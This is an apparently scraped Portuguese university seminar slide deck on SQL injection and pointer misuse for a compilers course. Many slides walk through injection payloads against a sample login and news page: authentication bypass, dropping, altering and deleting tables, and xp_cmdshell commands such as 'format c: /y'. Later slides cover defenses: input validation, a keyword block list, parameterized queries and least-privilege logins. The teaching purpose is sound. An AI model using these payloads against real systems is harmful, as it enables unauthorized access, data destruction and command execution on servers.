Your Federal Quarterly Tax Payments are due April 15th Get Help Now >>

Seminario by zhangyun

VIEWS: 18 PAGES: 31

									    Análise Interprocedural para resolver
 vulnerabilidades como SQL Injection e uso
            indevido de ponteiros



                                MATA61 –
                                Compiladores

                                 Aloísio Ferreira da Rocha Neto
                                José Torquato Sampaio Tavares
                                          Lucas Teles de Souza
Universidade Federal da Bahia            Thiago Marçal da Silva
Objetivo do Seminário

   Introdução
   SQL Injection
   Vulnerabilidade de Sistemas Web
   Solucionando o problema
   Uso indevido de ponteiros
   Conclusão
Análise Interprocedural

   O que significa?

   Objetivo
    –   Otimização de Código
    –   Verificação de Vulnerabilidade
SQL Injection

   SQL
    –   Linguagem de pesquisa declarativa para bancos
        de dados.
   Exemplos
SELECT nome, endereco FROM cadastro;
DROP TABLE cadastro;
INSERT INTO cadastro (nome,endereco) VALUES (‘Paulo’,’Av.
   ACM’);
SQL Injection

   Definição
    –   Manipulação de uma instrução SQL através das
        variáveis quem compõem os parâmetros
        recebidos a ser inseridos numa consulta.
   Objetivo do Uso
    –   Permissão de acesso a conteúdo restrito;
    –   Deleção de tabelas;
    –   Alteração / Deleção / Inserção de conteúdos;
    –   Outros.
SQL Injection – Verificando se o
Sistema é Vulnerável

   Teste de Vulnerabilidade Básico
         http://www.site.com.br/noticias.asp?codigo=2



         http://www.site.com.br/noticias.asp?codigo=2’


    Microsoft JET Database Engine (0x80040E14)
    Erro de sintaxe na seqüência de caracteres na
          expressão de consulta 'id = 2''.
                /noticias.asp, line 6
SQL Injection – Verificando se o
Sistema é Vulnerável

   Outros testes
    –   Dois travessões (--)
    –   Ponto-e-vírgula (;)
    –   Uso de caracteres Unicode que são
        descarregados em ASCII equivalente
    –   Outros
SQL Injection – Validação de
Usuário

   Objetivo: Acessar uma página restrita
    através de login e senha.




SELECT id FROM cadastro WHERE usuario = 'usuario' AND senha = 'senha'
SQL Injection – Validação de
Usuário




SELECT id FROM cadastro WHERE usuario = ‘’ or 1 = 1 –- ’ AND
   senha = ‘’ or 1 = 1 --‘
                                        variável usuário recebida
                                              do formulário


SELECT id FROM cadastro WHERE usuario = ‘’ or 1 = 1
SQL Injection – Validação de
Usuário




SELECT id FROM cadastro WHERE usuario = ‘’ or 1 = ‘1’ AND
   senha = ‘’ or 1 = ‘1’
                                       variável usuário recebida
                                             do formulário
SQL Injection – Descobrindo
Campos das Tabelas

        http://www.site.com.br/noticias.asp?codigo=2



  http://www.site.com.br/noticias.asp?codigo=2 having 1 = 1


Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
   [Microsoft][ODBC SQL Server Driver][SQL Server]Column
  ‘noticias.id' is invalid in the select list because it is
    not contained in an aggregate function and there is no
                       GROUP BY clause.
                   /noticias.asp, line 6
SQL Injection – Descobrindo
Campos das Tabelas

    Nome da Tabela: noticias
    1º Campo da Tabela: id

    http://www.site.com.br/noticias.asp?codigo=2 group by noticias.id having 1 = 1



Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Column
  ‘noticias.titulo' is invalid in the select list because it
   is not contained in an aggregate function and there is no
                        GROUP BY clause.
 Descoberta de
                    /noticias.asp, line 6
     outro campo
SQL Injection – Excluindo Tabelas

   Objetivo: Excluir uma tabela do sistema.




SELECT id FROM cadastro WHERE usuario = ‘’; DROP TABLE cadastro-- ’ AND
   senha = ‘’
                                            variável usuário recebida
                                                  do formulário


SELECT id FROM cadastro WHERE usuario = ‘’; DROP TABLE cadastro
SQL Injection – Inserindo
Conteúdo numa Tabela

   Objetivo: Inserir conteúdo numa tabela sem
    permissão




SELECT id FROM cadastro WHERE usuario = ‘’; INSERT INTO
   cadastro (usuario,senha) VALUES (‘lucas’, ‘2222’)-- ’ AND
   senha = ‘’



SELECT id FROM cadastro WHERE usuario = ‘’; INSERT INTO
   cadastro (usuario,senha) VALUES (‘lucas’, ‘2222’)
SQL Injection – Alterando o Conteúdo
numa Tabela

   Objetivo: Modificar o conteúdo de um
    determinado registro

         http://www.site.com.br/noticias.asp?codigo=2



http://www.site.com.br/noticias.asp?codigo=2;update noticias set
                    texto = ‘Sistema Invadido!’
SQL Injection – Apagando um
Conteúdo numa Tabela

   Objetivo: Excluindo dados de uma tabela




SELECT id FROM cadastro WHERE usuario = ‘’; DELETE FROM cadastro -- ’
   AND senha = ‘’



SELECT id FROM cadastro WHERE usuario = ‘’; DELETE FROM cadastro
SQL Injection – Manuseando o
Sistema Operacional

   Objetivo: Execução de comandos no sistema
    operacional do servidor do banco de dados




SELECT id FROM cadastro WHERE usuario = ‘’; EXEC
   master..xp_cmdshell ‘dir > c:\arquivo.txt’-- ’ AND senha =
   ‘’



SELECT id FROM cadastro WHERE usuario = ‘’; EXEC
   master..xp_cmdshell ‘dir > c:\arquivo.txt’
SQL Injection – Manuseando o
Sistema Operacional

   Outros Comandos
    EXEC master..xp_cmdshell   ‘dir > c:\arquivo.txt’
    EXEC master..xp_cmdshell   ‘del c:\arquivo.txt’
    EXEC master..xp_cmdshell   ‘format c: /y’
    EXEC master..xp_cmdshell   ‘net send * Seu banco foi
    deletado!’
    EXEC master..xp_cmdshell   ‘shutdown -l’
SQL Injection – Manuseando o
Sistema Operacional

   Outras formas de manipulação
    EXEC xp_regread HKEY_LOCAL_MACHINE,
    'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
    ', 'nullsessionshares‘
    (determina quais sessões nulas estão disponíveis no
    servidor)



    EXEC master..xp_servicecontrol ‘stop’, ‘server’
    (pausa o servidor)
SQL Injection – Evitando ataques
de injeção de SQL

   Métodos de evitar ataques.
SQL Injection – Evitando ataques
de injeção de SQL

   Evitando entrada de usuários.
      Presumir que todas as entradas do usuário é
      maliciosa.

      Validação de caracteres.
         Restrição de cadeia:
               [\d_a-zA-Z]{4,12}
         Restrição de sequencia maliciosa.
               known_bad = array( "select", "insert", "update",
              "delete", "drop", "--", "'" )
SQL Injection – Evitando ataques
de injeção de SQL

   SQL dinâmico.
       Instruções SQL construídas pela concatenação de SQL
       com valores inseridos pelo usuário.


    Evitando SQL dinâmico.
       Utilização de SQL com parâmetros.
       Procedimentos armazenados no recurso, permitindo
       acessos restritos às tabelas.
SQL Injection – Evitando ataques
de injeção de SQL

   Acesso limitado ao banco.
    Exemplo de logon com acesso total.

       <add key="cnxNWindBad"
       value="server=localhost;uid=sa;pwd=;database=northwind;" />

    Exemplo de logon com acesso somente de leitura.
       <add key="cnxNWindGood"
       value="server=localhost;uid=NWindReader;pwd=utbbeesozg4d;
       database=northwind;" />
SQL Injection – Evitando ataques
de injeção de SQL

   Armazenar segredos com segurança
      Utilização de Hash.

      Utilização de Criptografia.

      Utilização de salt (valor aleatório protegido
          criptograficamente)
SQL Injection – Evitando ataques
de injeção de SQL

   Manipulação de exceções.
     Restringir informações.
      Exceções controladas.
      Exceções sem tratamento.
            <compilation defaultLanguage="c#" debug="false" />
            <customErrors mode="RemoteOnly" />
SQL Injection – Evitando ataques
de injeção de SQL

   Aplicativo teste.
   Hacme Shipping
    Testa a vulnerabilidade de um
    servidor através de sequências
    SQL injetadas atraves de cam-
    pos na interface com o usuario.
SQL Injection – Uso indevido de
ponteiros.

   Aritimética de ponteiro.
       Fornece flexibilidade na programação, quando mal
    implementado pode gerar invasão de memória.

       Hacker pode aproveitar a aritimética de ponteiros para
    fazer acesso a informações sigilosas através de uma
    engenharia reversa.
SQL Injection – Uso indevido de
ponteiros.

   Ponteiros em java.
      Todos os acessos às posições de memória (que na
      prática são as propriedades dos objetos) são realizados
      pelos métodos fornecidos.

      Não permite a aritimética de ponteiros.
SQL Injection – Uso indevido de
ponteiros.

   Engenharia reversa.

    Busca de informações.

    Acesso indevido.

    Descripitografia.
Conclusão

   Todo sistema / aplicação é passível de
    invasão
   Otimização e cautela na programação
   Análise de riscos
Dúvidas ?

								
To top